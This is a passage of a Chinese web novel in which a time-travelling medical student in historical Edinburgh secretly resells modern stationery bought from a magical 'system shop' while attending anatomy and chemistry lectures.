周四早上,他把五支铅笔、五块橡皮和五十张白纸用一张旧报纸包好,揣在大衣内兜里,走进教室的时候,詹姆斯已经替他在旁边占好了位子。
"来了来了来了。"詹姆斯压低声音,眼睛发亮,"那几个人呢?"
"在后面。"西奥多坐下来,不动声色地说,"下课再给。"
孟罗教授准时走进来,开始讲脊柱。西奥多一边听一边记,和平时没有任何区别。但他能感觉到,教室后排有几个人的视线时不时落在他身上。
下课后,那四个人围了上来。
瘦高个叫托马斯·里德,爱丁堡本地人,父亲是个外科医生,话不多,但出手很大方——他不仅要了一支铅笔和一块橡皮,还额外要了二十张纸。
另外两个人一个叫阿奇博尔德·纳特,一个叫亨利·科克兰,都是苏格兰人,互相认识,一起从格拉斯哥过来的。两人各要了一支铅笔、一块橡皮和十张纸。
西奥多当场点清了便士,收进大衣口袋里。硬币碰撞的声音很轻,但在围过来的几个人听来,像是有什么东西在叮当作响。
"菲利普斯,"托马斯·里德走之前忽然回头,"你那个朋友,真的还能再弄到货吗?"
"我这两天就给他写信。"西奥多说。
里德点了点头,没再说什么,走了。
西奥多以为事情到此为止了。
但他低估了医学生的传播速度。
---
周五中午,他在图书馆整理笔记的时候,詹姆斯兴冲冲地跑过来,一屁股坐到他旁边。
"出事了。"
西奥多抬起头:"什么?"
"今天上午解剖课的时候,里德在课上画图——就是用你那支铅笔。"詹姆斯压低声音,但压得不多,"你知道孟罗教授怎么说?"
"怎么说?"
"他说,''里德先生,你的骨骼图画得比上次好多了,用的什么笔?''里德就说是铅笔,孟罗教授拿过去看了一眼,又画了两笔,然后——"
詹姆斯停下来,像是在蓄力。
"然后他说,''这支笔比Borrowdale的好,你从哪来的?''"
西奥多手里的笔停了一下。
"里德没说实话吧?"
"当然没有,他说的和你一样——法国那边来的,朋友带的。然后孟罗教授就把笔还给他了,没再追问。"詹姆斯凑近了一点,"但是——整个教室的人都看见了。孟罗教授亲口说比Borrowdale的好。你知道这意味着什么吗?"
西奥多知道。
Borrowdale铅笔在这个时代的英国文具界,就是金字塔尖的东西。如果有人说有比它更好用、还更便宜的铅笔,那不是消息,那是地震。
"有多少人来问你了?"西奥多问。
"今天一上午,至少有十五个人来问我。"詹姆斯伸出两只手,"十五个。我都记下来了。"
他从口袋里掏出一张皱巴巴的纸,展开,推到西奥多面前。上面歪歪扭扭地写着一串名字,有的名字后面还标注了数量——铅笔几支、橡皮几块、纸几张。
西奥多看了一遍。
"你告诉他们了?"
"我就说了是你有渠道,从法国那边弄来的,价格和昨天一样。没多说别的。"詹姆斯看着他的表情,"你没生气吧?"
"没有。"西奥多把纸收起来,"不过不能再这样散着来了。"
詹姆斯愣了一下。
---
西奥多不是在故弄玄虚。
他心里很清楚,如果继续让消息这样无序地传播下去,用不了两周就会出问题。一来,在教室和图书馆里当面交易,太招摇了,万一被学校的人注意到,说不清;二来,人一多就乱,价格、数量、交付时间全靠嘴说,迟早出岔子;三来——也是最重要的——他必须维持住"稀缺感"。
东西越难买,人们就越想买。东西随手就能拿到,那就不值钱了。
所以他需要一个规则。
"你帮我做一件事。"西奥多对詹姆斯说。
"你说。"
"去找这些人,告诉他们三件事。"
西奥多竖起一根手指。
"第一,我可以帮他们代购,但我不是做生意的,我只是顺带给朋友帮忙。所以不保证每次都有货,也不保证什么时候到。"
第二根手指。
"第二,为了不影响学校的教学秩序,也不影响其他同学在图书馆学习,所有要买的人把名字和数量写在这张纸上,统一交给你。你不主动去找人,谁想来找你,你不拦。但不要在教室里公开说。"
詹姆斯听到最后一条,愣住了。
"只收便士?"他重复了一遍,"为什么不收先令?先令不是更方便吗?"
西奥多看了他一眼。
"不知道,他就只要便士。"
詹姆斯信了,"那便士不够找零怎么办?比如有人只要五张纸,那是五便士,但他只有先令——"
"让他自己去找别人换。"西奥多说,"我不负责找零,也不负责换钱。我只收便士,多少便士的东西就给多少便士,一个铜子儿不多,一个铜子儿不少。"
詹姆斯把这三条记在纸上,又念了一遍确认无误,然后小心翼翼地把纸折好,放进口袋里。
---
詹姆斯做事确实靠谱。
接下来的几天,他没有在教室里公开提过一个字,但消息像水一样自己流了出去。那些用过里德铅笔的人开始跟自己认识的人说,没见过的人开始好奇地问,好奇的人找詹姆斯,詹姆斯把那张纸递过去——
"把名字和数量写上,等着就行。"
没有推销,没有游说,没有讨价还价。就是写名字,等。
这反而让东西显得更紧俏了。
到下周周二,詹姆斯把那张纸递给西奥多的时候,上面的名字已经从十五个变成了三十二个。
西奥多在房间里把数字整理了一遍。
---
【第二批需求汇总】
铅笔:47支
橡皮:43块
白纸:620张
---
他看着这个数字,没有立刻下单。
不是嫌少,是不能一下子给太多。
三十二个人,这个规模已经不小了。如果一次性把货全部交出去,每个人拿到东西之后满足感很强,但传播的劲头就会弱下来——"想要就有,不着急"——这是他最不想看到的局面。
所以他决定分两批交货。
第一批,先满足一半人的需求。另一半人继续等。
等第一批人拿到东西、用起来、在课上被别人看见之后,第二批人的渴望就会达到顶峰。到那时候再交货,体验感会更强。
他在速记本上写了一个计划。
---
【交付计划】
第一批(本周):铅笔24支,橡皮22块,白纸310
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张
第二批(两周后):铅笔23支,橡皮21块,白纸310张
---
第一批的收入他也算了一下。
---
铅笔:24支×10便士=240便士
橡皮:22块×10便士=220便士
白纸:310张÷5×1便士=62便士
第一批收入:522便士=1镑17先令2便士
---
然后是成本。
---
铅笔:24支×0.35元=8.4元
橡皮:22块×0.50元=11.0元
白纸:310张×0.024元=7.44元
第一批成本:26.84元
---
二十六块八毛四。
不到二十七块钱的成本,换回来将近两镑。
西奥多合上速记本,把笔帽盖好,放进笔袋里。
他没有笑,也没有激动。心里只是很平静地确认了一件事——这条路走得通。
不是赚不赚钱的问题。是这种模式能不能持续的问题。
代购。只收便士。不主动推销。控制出货节奏。维持稀缺感。每一环都有明确的逻辑,每一环都在控制信息的流向。
他不需要做大。他只需要做稳。
---
周三下午,他在教室后面的角落里,把第一批货交给了詹姆斯。
二十四支铅笔、二十二块橡皮、三百一十张白纸,用旧报纸分成若干小包,每包上面写着名字。詹姆斯接过去的时候,手都在抖。
"你怎么包得这么仔细?"
"别弄混了。"西奥多说,"谁的东西给谁,别给错了。还有——"
他从口袋里掏出一个布袋子,递给詹姆斯。
"收钱用这个。便士放进去,别用口袋装,叮叮当当的太显眼。回去数清楚了,一便士一便士地数,数完记在纸上,晚上拿来给我看。"
詹姆斯接过布袋子,郑重地点了点头。
"放心。"
西奥多看着他抱着那包东西匆匆离去的背影,心想,这个人确实适合干这活儿——不是因为他聪明,而是因为他真诚。詹姆斯不会编故事,不会夸大其词,别人问他什么他就说什么,说不出的话就不说。
这种人在信息传播中是最可信的节点。他不需要演技,因为他本身就让人觉得可靠。
当天晚上,詹姆斯来敲他的门。
"菲利普斯先生?"沃克太太的声音从楼下传来,“有人找你。”
“让他上来。”
西奥多说这句话的时候,手心其实微微出了汗。
这是詹姆斯第一次来他住的地方。
他飞快地环视了一圈房间。书桌上摆着翻开的笔记本、几本旧皮封面的书、墨水瓶、鹅毛笔——没问题。床铺整洁,被褥是沃克太太提供的——没问题。厨房里灶台上放着半块面包和一碟冷肉——没问题。窗台上那盆不知道名字的植物——没问题。
角落里的铁盒子已经锁进了抽屉。
系统买来的那些打印书籍,都套着旧皮封是他花了大价钱请商家做的,摆在书架上和其他书混在一起,乍一看根本看不出来。
他甚至确认了一下废纸篓——空的。昨天晚上吃了一包系统商城买的饼干,包装袋已经撕成碎片,塞进灶膛里烧掉了,灰烬扒拉散,混在柴灰里,什么都看不出来。
他没有在房间里留下任何一样不属于这个时代的东西。
8. 第 8 章
楼梯上传来脚步声。
门被推开了。
詹姆斯站在门口,脸冻得通红,怀里抱着那个布袋子,一进门就打了个寒颤。
“外面真冷——”
然后他停住了。
他的目光在房间里转了一圈。从门边的衣帽架,到书桌,到书架,到床,到厨房的小灶台,又回到书桌。
西奥多靠在书桌边上,脸上没有任何多余的表情。
“进来坐,把门关上,别放冷气进来。”
詹姆斯关上门,把布袋子放在桌上,但人没有坐。他又看了一圈房间——这次看得更慢,像是在确认什么。
"你一个人住?"他问。
“嗯。”
“就这一间?”
“嗯。”
詹姆斯没说话了。
西奥多知道他在想什么。
在爱丁堡,一个十七岁的人独居一整套房间——哪怕只是单间加厨房——这笔开销并不小。沃克太太这里一个月的房租是三磅,加上麦凯夫人的工钱、柴火、伙食,一个月少说也要四镑出头。很多医学生都是两个人甚至三四个人合租一间房,分摊费用。
而他一个人住。
詹姆斯虽然没见过世面,但不算傻。他看了一眼书架上的书——那些皮封面的书籍整整齐齐排了一排,在这个时代,书是奢侈品,几本医学书加起来的钱就够普通人吃一个月的。他又看了一眼灶台旁边的茶罐——真正的茶叶,不是那种兑了树叶的便宜货。还有衣帽架上挂着的那件深蓝色呢子外套——面料很好,裁剪也很合身。
一个十七岁的英格兰人,独自住在爱丁堡新城,房间里书籍齐全,衣着体面,茶叶不断,还随身带着法国宫廷流出来的稀罕文具。
詹姆斯心里大概得出结论了:这个朋友家里很有钱。
西奥多不打算解释。解释就是掩饰,掩饰就是心虚。他宁可让詹姆斯觉得他是个富家子弟,也不能让詹姆斯觉得他有什么不对劲的地方。
富家子弟在这个时代不稀奇。爱丁堡大学里有钱人家的孩子多了去了,没人会去追问一个富家子弟的钱从哪来。
"别傻站着了。"西奥多拉开椅子,指了指,“坐。”
詹姆斯坐下来,把布袋子打开——里面满满当当全是铜便士,堆成一座小山。
"一个不少。"詹姆斯说,“我数了三遍。”
西奥多从抽屉里拿出一张纸,上面是他自己算好的应收数目。詹姆斯也掏出一张纸,上面是他一笔一笔记的实收数目。
两张纸对在一起。
五百二十二便士。一分不差。
西奥多把布袋子拎起来,掂了掂重量。铜便士沉甸甸的,五枚一便士叠在一起大约有半盎司重,五百多枚就是三磅多——比同面值的银币沉得多。
他把便士倒进铁盒子里。铜币砸在铁皮上,发出一阵沉闷的哗啦声,比银币好听。
"你要喝茶吗?"西奥多问。他必须表现自然。
"啊?哦,好。"詹姆斯这才回过神来。
西奥多起身去厨房,烧水,泡茶。动作和平时一样,没有任何慌张。茶叶是系统商城买的散装红茶,他特意倒进了一个从文具店买的旧锡罐里,看起来和这个时代任何一罐茶叶没有区别。
他把茶杯端过来,放在詹姆斯面前。
詹姆斯捧着茶杯暖手,目光又不自觉地扫过房间。
"你这地方真不错。"他说,语气里有藏不住的羡慕,“我在新城那边和别人合租,四个人挤两间房,转个身都能撞到人。你这一间,又安静又暖和,还带厨房。”
"贵。"西奥多说了一个字。
"贵也值啊。"詹姆斯感叹了一句,然后低头喝茶,没再多看。
西奥多在心里松了一口气。
他把铁盒子盖上,锁好抽屉。
"便士沉吧?"他随口说了一句。
詹姆斯点头:“我以前觉得便士是最不值钱的东西,买菜找零的时候随手就塞进口袋,从来不数。今天数了五百多个便士,突然觉得——这东西也挺沉的。”
西奥多把钥匙收进口袋。
"便士本来就是沉的。"他说,“只是以前没人注意。”
他顿了顿,像是不经意地拉开另一个抽屉,从里面拿出一样东西,放在詹姆斯面前。
詹姆斯低头一看——
是一个造型奇特的,不知道是什么东西的小物件。外表是木质的,里面镶着一把小小的刀子。刃口极薄,在烛光下泛着冷光。
"这是?"詹姆斯拿起来,翻来覆去地看。
"削铅笔用的。"西奥多说。
詹姆斯愣了一下。
“削铅笔还有专用的工具?”
"不然呢?"西奥多从他手里拿过一支铅笔,插进圆圆的洞口,轻轻转动铅笔,一片薄薄的木花卷起来,落在桌面上。三下两下,铅笔尖就削得又长又尖,笔芯露出完美的圆锥形,光滑得像抛过光一样。
整个过程不到五秒。
在这个时代,削铅笔用的是随身带的小折刀。但折刀削铅笔全凭手感,力道稍微大一点笔芯就断,力道小了木屑又削不干净。西奥多用折刀削铅笔的时候倒是得心应手,但那是前世练出来的肌肉记忆,换成詹姆斯这种人,削出来的笔尖跟狗啃的没什么区别。
而眼前这个东西——插进去,转几下,拿出来,完事。像变戏法一样。
詹姆斯的嘴张开了,又合上,又张开,眼睛越来越亮。
“也是法国那边的?”
"嗯。"西奥多说,“和铅笔配套的,孔特设计的。专门削这种黏土笔芯的铅笔,不会伤笔芯。”
詹姆斯拿起铅笔刀,翻来覆去地看了又看,像是拿了一件宝物。
"这个不卖。"西奥多说。
詹姆斯的眼神一下子黯了。
“送你的。”
詹姆斯抬起头。
“什么?”
"辛苦费。"西奥多说,语气平淡,像在说今天天气不错,“这几天你跑上跑下的,收钱、分货、记名字,都是你在做。我又没给你钱。”
"可是——"詹姆斯看了看手里的刀,又看了看西奥多,“这东西太贵了吧?我就帮你传了传话、收了收钱,这也值一把刀?”
"值不值我说了算。"西奥多端起茶杯,喝了一口,“你要是不想要就还我。”
"我要!"詹姆斯把刀攥进手心里,生怕他反悔,“我要的我要的,就是觉得——
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”
他停了一下,低下头,看着掌心里那把小刀。
"你对我太好了。"他说,声音闷闷的。
西奥多没有接这句话。他只是喝了一口茶,说:“刀要收好,别弄丢了,也别借给别人。这种东西我手里也没几个。”
"知道了知道了。"詹姆斯连连点头,把铅笔刀小心翼翼地塞进大衣内兜里,还拍了拍,确认位置。
詹姆斯喝完茶,又闲聊了几句课堂上的事,便起身告辞了。
西奥多站在原地,等脚步声彻底消失之后,才缓缓吐出一口气。
他再次环视了整个房间。
没有任何破绽。
但他还是不放心。他走到废纸篓前蹲下来,把今天产生的所有垃圾——一片面包边、一张用过的擦手纸、一小截蜡烛头——全部翻出来检查了一遍,确认没有任何不属于这个时代的东西之后,才把垃圾倒回废纸篓里。
然后他拉开灶膛,检查了柴灰。
昨晚烧掉的饼干包装袋已经完全化为灰烬,和木柴的灰混在一起,看不出任何痕迹。
他站起来,洗了手,坐回书桌前。
打开铁盒子,看着里面那些铜便士在烛光下泛着暗沉的光。
第一笔生意,加上上周的试水,他现在的总收入是六百二十七便士——两镑十二先令三便士。
成本不到二十八块钱——多出来的一块二,是那把铅笔刀。
他没有把便士倒出来数第二遍。不用数,他心里清楚得很。
他合上铁盒子,打开光屏,在系统商城里下了第三批订单。
铅笔,一百支。
橡皮,一百块。
A4打印纸,一千张。
然后他关掉光屏,翻开笔记本,开始写那封"给朋友的信"。
当然不会有真正的信寄出去。但纸面上得有这封信——万一有人问起,他得能拿出一张写了字的信纸来证明"我确实写了信,我确实在等回信"。
他提笔,写了几行字。
“……上次你给我的那些东西,这边需求很大,能再弄一批吗?铅笔、橡皮、纸都要。不急,等你有空再寄……”
写完之后,他把信纸折好,放进抽屉里。
窗外,风小了些。
远处传来一声钟响,不知道是哪个教堂的,沉闷而悠长,在十一月的夜空里荡开去。
西奥多吹灭了蜡烛。
十一月的第三周,爱丁堡下了第一场雪。
不是那种纷纷扬扬的大雪,而是细碎的、被风裹着横着飞的小冰粒,打在脸上像砂纸一样。街上的行人缩着脖子匆匆走过,卖报的少年不见了,卖烤栗子的老头也不见了,只有马车的轮子碾过积雪,留下一道道深浅不一的车辙。
西奥多裹紧大衣,把围巾拉到鼻子以下,顶着风往医学院走。
羽绒马甲穿在大衣里面,像一层看不见的暖墙,把体温牢牢锁住。他路过那些冻得缩手缩脚的同学身边时,心里有一瞬间的不自然——他确实比他们暖和太多,但这种差距不能表现得太明显。
所以他故意走得不快不慢,偶尔缩一下脖子,偶尔搓一下手,装作和周围人一样冷。
演戏这件事,他越来越熟练了。
9. 第 9 章
第八章肌肉
上午是孟罗教授的解剖学课,讲肌肉系统。
上周讲完了骨骼,这周开始讲肌肉。孟罗教授翻过一页讲义,粉笔在黑板上画了一张人体浅层肌肉图——和骨骼图不同,肌肉图复杂得多。六百多块骨骼肌,每一块都有起点、止点、功能和神经支配,光是名字就够人头疼的。
"我们从头开始。"孟罗教授用粉笔点着头颅侧面,"头面部肌肉,第一块——额肌。起自帽状腱膜前缘,止于眉部皮肤。功能呢?"
有人小声说:"皱眉?"
"皱眉是皱眉肌。额肌的功能是提眉,使额部产生横纹。"孟罗教授在黑板上标注,"你们自己摸一下额头,往上抬眉毛——感觉到额头皮在收紧了吗?那就是额肌在收缩。"
教室里稀稀拉拉地有人抬手摸额头。
"接下来,眼轮匝肌。"他画了一个环绕眼眶的椭圆形,"环形肌,收缩时闭合眼睑。这块肌你们更熟——眨眼、闭眼,都是它在工作。但它还有一个容易被忽略的功能。"
他转过身,目光扫过教室。
"谁来说说?"
没人说话。
"菲利普斯。"
西奥多站起来。
"协助流泪。"他说,"眼轮匝肌收缩时,挤压泪囊,把泪囊中的泪液通过鼻泪管压入鼻腔。所以人哭的时候会流鼻涕,不是因为鼻子受了刺激,是因为眼轮匝肌在帮忙排泪。"
教室里有几个人轻轻"哦"了一声。
孟罗教授没有表态,只是说:"坐下。"
然后继续往下讲。
---
接下来讲的是咀嚼肌。
"咬肌。"孟罗教授画了一块从颧弓延伸到下颌角外侧的方形肌肉,"起自颧弓下缘和内面,止于下颌支和下颌角外面。功能——上提下颌骨,闭口。你们咬紧牙关的时候,用手摸摸腮帮子,这块硬硬的就是咬肌。"
他在旁边又画了一块。
"颞肌。起自颞窝,止于下颌骨冠突。功能也是上提下颌骨,但和咬肌不同——颞肌的纤维呈扇形分布,它的上提力是斜向上的,而不是垂直的。这意味着什么?"
他停下来等了一下。
"意味着颞肌不仅参与闭口,还参与下颌骨的后退运动。你把下巴往前伸,再收回来,收回来的动作里就有颞肌的功劳。"
西奥多在笔记本上飞快地记着。他记得比周围所有人都快,但不是一字一句地抄——他在画图。每块肌肉用一个简化的示意图表示,旁边标注起点、止点、功能和神经支配,四项缺一不可。
孟罗教授讲到胸锁乳突肌的时候,停了下来。
"这块肌是颈部最重要的标志之一。"他在黑板上画了一块从胸骨延伸到耳后乳突的长条形肌肉,两条斜线像V字形,"起自胸骨柄前面和锁骨内侧端,止于颞骨乳突。一侧收缩——"
他侧了一下头,做了一个示范。
"头向同侧屈,面转向对侧。你们现在试一下。"
教室里几十颗脑袋同时歪向一边,场面有些滑稽。
"两侧同时收缩呢?"
他把头往后仰了一下。
"头后仰。所以一个新生儿如果胸锁乳突肌受损——比如产伤导致一侧胸锁乳突肌纤维化、缩短——会出现什么情况?"
这次西奥多没有等点名。
"先天性肌性斜颈。"他站起来说,"患侧胸锁乳突肌挛缩,头部向患侧偏斜,下颌转向健侧。长期不纠正还会导致面部不对称,患侧面部短小,健侧面部相对拉长。因为儿童期骨骼还在发育,头颅长期偏向一侧会影响颅骨和面骨的对称生长。"
他说完,坐下了。
教室里安静了一瞬。
孟罗教授看了他一眼,眼神里有一样东西一闪而过——不是惊讶,更像是确认。
"你之前接触过临床?"
"没有。"西奥多说,"我在书上读到过。"
孟罗教授没有追问,继续往下讲。
但坐在西奥多旁边那个不认识的瘦高个男生,悄悄往旁边挪了挪,离他远了一点。
---
下午是化学课。
布莱克教授今天讲的是气体的性质。
和孟罗教授不同,布莱克教授从不画图,也不在黑板上写太多字。他只是站在讲台后面,用一种缓慢的、几乎像聊天的语气说话。
"上周我们讲了元素和化合物的区别。今天我想讲一种特殊的化合物形态——气态。"
他从桌上拿起一个玻璃瓶,里面什么都没有。
"这个瓶子里有什么?"
"空气。"有人说。
"看起来是空的。"布莱克教授把瓶子倒过来,又正过来,"但我们都知道它不是空的。它里面有空气,而空气是一种混合气体——主要是氮气和氧气,还有少量的二氧化碳和水蒸气。"
他把瓶子放下。
"对于你们这些将来要行医的人来说,理解气体的性质不是一件可有可无的事。你们以后会给病人听诊——听肺里的呼吸音,那就是气体在气道里流动的声音。你们会给病人放血——静脉血暴露在空气中会变成什么颜色?为什么?这和气体有关。你们甚至会遇到呼吸困难、窒息、发绀的病人——这些症状的根本原因,都是气体交换出了问题。"
他停下来看了一圈教室。
"所以,不要以为化学跟治病没有关系。"
那几个之前抱怨过的学生低下了头。
布莱克教授开始讲气体的溶解。
"有一种现象,我想你们都见过——打开一瓶啤酒或者汽水,气泡会从液体里冒出来。为什么?因为液体在压力下可以溶解气体。瓶盖拧紧的时候,瓶内压力高,二氧化碳溶解在水里。打开瓶盖的瞬间,压力降低,溶解不了的气体就跑出来了。"
他在黑板上写了一行字——
"压力越大,气体在液体中的溶解度越大。"
"这个规律对你们有什么用?"布莱克教授转过身,"我告诉你们——血液里溶解着氧气和二氧化碳。肺里的氧气压力高,氧气就溶解进血液;组织里的二氧化碳压力高,二氧化碳就从血液里释放出来。这就是呼吸的本质——不是什么神秘的力量,就是气体的溶解和释放,受压力差的驱动。"
西奥多手里的笔停了一下。
他前世知道这叫"亨利定律"。但布莱克教授没有用这个名字——这个定律是1803年由威廉·亨利提出的,布莱克教授大概率知道,但他选择不讲定律的名字,只讲原理本身。
这让西奥多意识到一件事——布莱克教授的教学方式,不是在灌输知识,而是在建立思维方式。他不要学生记住"亨利定律"四个字,他要学生理解"压力驱动溶解"这个逻辑。
记住一个名字,考完就忘。理解一个逻辑,一辈子都在用。
西奥多在笔记本上把这条逻辑单独圈出来,在旁边写了一行批注——
"呼吸=肺泡-血液压力差驱动气体溶解。通气不足→压力差缩小→溶解量下降→缺氧/二氧化碳潴留。"
一条化学原理,直接连到了临床。
---
布莱克教授又讲了一段。
"我再讲一个你们以后一定会遇到的现象。"他说,"人在高山上会呼吸困难,甚至头晕、恶心、昏迷。为什么?因为海拔越高,大气压力越低,空气越稀薄,氧气的分压就越低。氧气分压低,溶解进血液的氧气就少——这和打开汽水瓶盖之后气泡跑出来的道理是一样的。"
他在黑板上画了一条简单的曲线,表示气压随海拔升高而下降。
"所以,一个在海边呼吸正常的人,到了高山上可能会因为缺氧而死亡。不是空气里没有氧气——空气里氧气的比例没有变,大约还是五分之一。但是压力变了,溶解度就变了,人体能利用的氧气就少了。"
他合上讲义。
"记住,你们以后面对的是病人,不是教科书。病人不会按照教科书生病。但只要你们理解了底层原理——不管是气体的、化学的、还是物理的——你们就能解释教科书上没有写的那些情况。"
西奥多把这句话一字不落地记了下来。
---
下课后,詹姆斯凑过来。
"你今天又答了两次。"他的语气里有一种微妙的自豪,好像西奥多是他们格拉斯哥阵营的人一样,"孟罗教授问那个胸锁乳突肌的问题,你怎么知道先天性斜颈的?我没在任何一本书上看到过。"
"库伦的《临床实践导论》第三章,第三十七页。"西奥多说。
詹姆斯张了张嘴。
"……你看书看得这么细?"
"刚到的那天在图书馆翻的,顺手记了一下。"
詹姆斯半信半疑,但也没再追问。他自己的笔记还乱着呢,没资格质疑别人。
走在路上的时候,那个叫威廉·霍
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尔的约克郡人从后面追上来。
"菲利普斯,"他喘着气,"布莱克教授说的那个气体溶解的事——我有个问题。他说血液里溶解氧气,那水也能溶解氧气对吧?那鱼是怎么呼吸的?鱼鳃不就是把水里的氧气提取出来吗?"
西奥多看了他一眼。
这个问题问得其实不错。
"原理是一样的。"他说,"鱼鳃里有大量薄壁血管,水流过鱼鳃的时候,水中的溶解氧通过鳃壁进入血液。但关键在于——水能溶解的氧气非常少,比空气少得多。同样的体积,水里溶解的氧气大概只有空气的三十几分之一。"
"所以鱼要不停地让水流过鱼鳃?"霍尔说。
"对。因为每次能提取的氧气太少,只能靠增大流量来补偿。这和人的呼吸不一样——人吸一口气就能拿到足够的氧气,因为肺泡里的空气是直接接触血液的,效率比水中溶解高得多。"
霍尔若有所思地点了点头,走了。
詹姆斯在旁边听着,一脸茫然。
"你怎么连鱼的事都知道?"他说。
"布莱克教授不是说了吗——底层原理是通的。"西奥多把围巾往上拉了拉,"气体在液体里的溶解规律,不管那个液体是水还是血液,原理都一样。鱼鳃和肺,结构不同,逻辑相同。"
詹姆斯似懂非懂地"哦"了一声。
---
傍晚的图书馆,西奥多坐在老位置上,开始做每天最耗时间的工序——交叉整理。
今天的两门课看似没有直接关联。解剖学讲肌肉,化学讲气体。但在他的笔记本上,它们被写在同一页的两侧,中间画了一条连接线——
"呼吸肌(膈肌、肋间肌)收缩→胸腔扩大→肺内压力降低→空气流入→氧气溶解进血液。"
解剖学的那一头,是肌肉的起止点和收缩方式。化学的这一头,是气体的压力和溶解规律。
中间的桥梁,叫呼吸。
他在这条连线上写了一行字——"呼吸的本质是肌肉做功驱动气体压力变化。"
然后他又想了想,在下面补了一行——"呼吸肌麻痹→做功不足→压力差减小→通气障碍→缺氧。"
一条从肌肉连到气体的线,反过来就是一条疾病的线索。
他看着这行字,沉默了一会儿。
前世在医学院的时候,这些知识是分开考的——解剖学期末考肌肉,生理学期末考呼吸,化学期末考气体溶解。每一门课的试卷上都不会出现另一门课的内容。学生习惯了按科目思考,忘了人体是一个整体。
但在这个时代,他同时在上这四门课,所有的知识都在同一时间涌进来。他没有"学完一门忘一门"的问题,因为他可以在每一天的整理中把它们全部串在一起。
这是这个时代给他的优势——课程并行,知识同频。
也是前世两辈子的积累给他的优势——他知道终点在哪里,所以可以从第一天就开始画路线图。
他翻到新的一页,在顶端写了一个标题——
"人体各系统关联图"
然后在中间画了一个小人,从肌肉系统画出第一条线,连到呼吸系统,再连到血液,再连到神经,再连到……
线越画越多,页面越来越密。
等他停下来的时候,那页纸上已经布满了箭头和标注,像一张蛛网。
他把这张图小心地从笔记本上撕下来,夹进解剖学笔记的扉页里。
以后每学一点新东西,就往这张图上添一条线。
等这张图画满的那天,他大概就离一个真正的医生不远了。
---
图书馆关门的时候,外面还在下雪。
西奥多走出大门,冷风裹着冰粒扑面而来。他低头往回走,路过街角的时候,看见一个卖热馅饼的摊子还亮着灯,炉子上冒着热气,饼香混着肉香飘过来。
他停下来,掏出两枚便士,买了两个热馅饼。
卖饼的是个胖女人,裹着厚厚的围裙,手伸进围裙底下暖着,看见他递过来的铜币,随手往口袋里一塞。
西奥多把一个馅饼揣进口袋里暖手,另一个边走边吃。
肉馅很足,汤汁烫嘴,面皮烤得酥脆。他吃得很慢,脑子里还在想布莱克教授说的那句话——
"记住,你们以后面对的是病人,不是教科书。"
他把最后一口馅饼咽下去,拍了拍手上的碎屑,裹紧大衣,低头走进了风雪里。
10. 第 10 章
第十章白手套
到十一月底,西奥多的生活彻底稳定了下来。
每周一到周六,天亮前起床,泡茶,吃面包,出门。上午解剖学,下午化学或药学,傍晚图书馆。晚上回来整理笔记,画关联图,把当天学的知识和之前的知识串在一起。
笔记已经从五本变成了七本——多出来的一本是"系统关联",专门画那种蛛网一样的跨学科流程图;另一本是"疑问",记下课堂上没听懂、或者书上说法互相矛盾的地方,攒到一定程度就集中去查。
那本"疑问"笔记,是他最看重的。
---
代购的事情也在稳定运转。
一周一批,雷打不动。詹姆斯每周二把名单交给他,他周三分好货,周四交给詹姆斯,詹姆斯周五之前把便士送过来。
流程已经磨合得像一台机器。
来买的人越来越多,但西奥多始终控制着出货量——每周只放出一批,每批数量略有浮动,有时多一些,有时少一些,从来不固定。有人问能不能多买几支,他说没有。有人问能不能预定,他说不行。
"我朋友那边来多少就是多少,我也控制不了。"他每次都这么说。
詹姆斯替他挡在前面,做得滴水不漏。他不主动推销,不替人传话,有人来找他就递纸,没人来找他就安安静静坐在座位上看书。这种态度反而让所有人觉得他靠谱——一个不急着赚你钱的人,比起一个追着你卖东西的人,不知道可信多少倍。
到第四周的时候,买铅笔已经成了医学院里一件心照不宣的事。
没有人公开讨论。上课的时候,大家都用鹅毛笔做笔记,规规矩矩的。但一到图书馆,或者回到住处,那些黑色的铅笔就悄悄冒出来了。有人用它画解剖图,有人用它抄笔记,有人纯粹是觉得好用,拿着在纸上随手涂两笔。
西奥多从不过问这些人拿铅笔做什么。他只管出货,收钱,记账。
---
四周下来,他粗略算了一下——学生订单加上零散出货,总共回收到系统的便士大约两千四百,折合人民币一千两百块。加上之前系统里剩的余额,他现在账上有三千一百多块。算是补上了上个月买过冬装备的亏空。
而生活也确实在发生变化。
最大的变化是吃。
来爱丁堡的前三周,他的伙食和这个时代大多数穷学生没有区别——黑面包、冷咸肉、煮鸡蛋、偶尔买一棵土豆或几根萝卜。麦凯夫人帮他买菜,他写在纸条上,麦凯夫人照买,买回来的东西都是这个季节最便宜的、最能放的、最不好吃的。
不是麦凯夫人不会买,是他给的钱只够买那些。
但现在不一样了。
他开始在系统商城里买食物。
第一次下单的时候他犹豫了很久——系统里的食物不贵,但和铅笔、纸张这类"工具"不同,食物是消耗品,吃了就没了,钱就回不来了。买一支铅笔可以卖十便士,买一个面包只能填饱肚子,从投资回报率来说,买食物是最低的。
但他的胃不这么想。
前三天他只敢买最基础的东西——一袋白面粉,五块钱;一板鸡蛋,十块钱;一小罐猪油,八块钱。他让麦凯夫人用白面粉代替黑面粉烙饼,自己煮鸡蛋当早餐,用猪油炒萝卜丝当晚饭。
第一口白面饼咬下去的时候,他差点没绷住。
不是什么了不起的东西,就是一张普普通通的白面饼,没有任何调味,甚至烙得有点糊。但和黑面包比起来,那个口感差距是天和地。黑面包又硬又酸,嚼起来像在啃木头渣子,白面饼是软的,带着一点麦香,舌头一抿就散了。
他吃了两张饼,喝了杯茶,坐在厨房里发了五分钟的呆。
然后他打开了光屏,又下了一单。
这回胆子大了些——两斤猪排骨,十八块;一斤五花肉,十二块;一小袋大米,八块;一棵白菜,一块五;一把小葱,五毛。
猪排骨和五花肉是系统商城里的冷鲜包装,没有现代超市那种塑料托盘和保鲜膜,是用一种半透明的油纸包着的,外观和这个时代的肉铺包装有些像,但打开之后肉质的新鲜程度完全不同——颜色红润,脂肪洁白,按下去有弹性,闻不到一点异味。
他把排骨剁成小段,用猪油煎至微黄,加葱姜和水,小火慢炖了一个多小时。厨房里弥漫着一股浓郁的肉香,飘得整个楼道都是。
炖好之后他盛了一碗,坐在灶台边喝汤。
汤是奶白色的,排骨炖得软烂,轻轻一咬肉就脱了骨。他放的是系统里的精盐,但舍不得放太多,只撒了一小撮提味。
一碗汤喝完,他觉得前三个礼拜受的苦全部值了。
后来他越买越杂。新鲜蔬菜、豆腐、酱油、醋、八角、桂皮——都是系统商城里的东西,买回来之后全部倒进这个时代的容器里,酱油装进从杂货铺买的棕色玻璃瓶,醋装进小陶罐,香料用布袋装好塞在角落里。
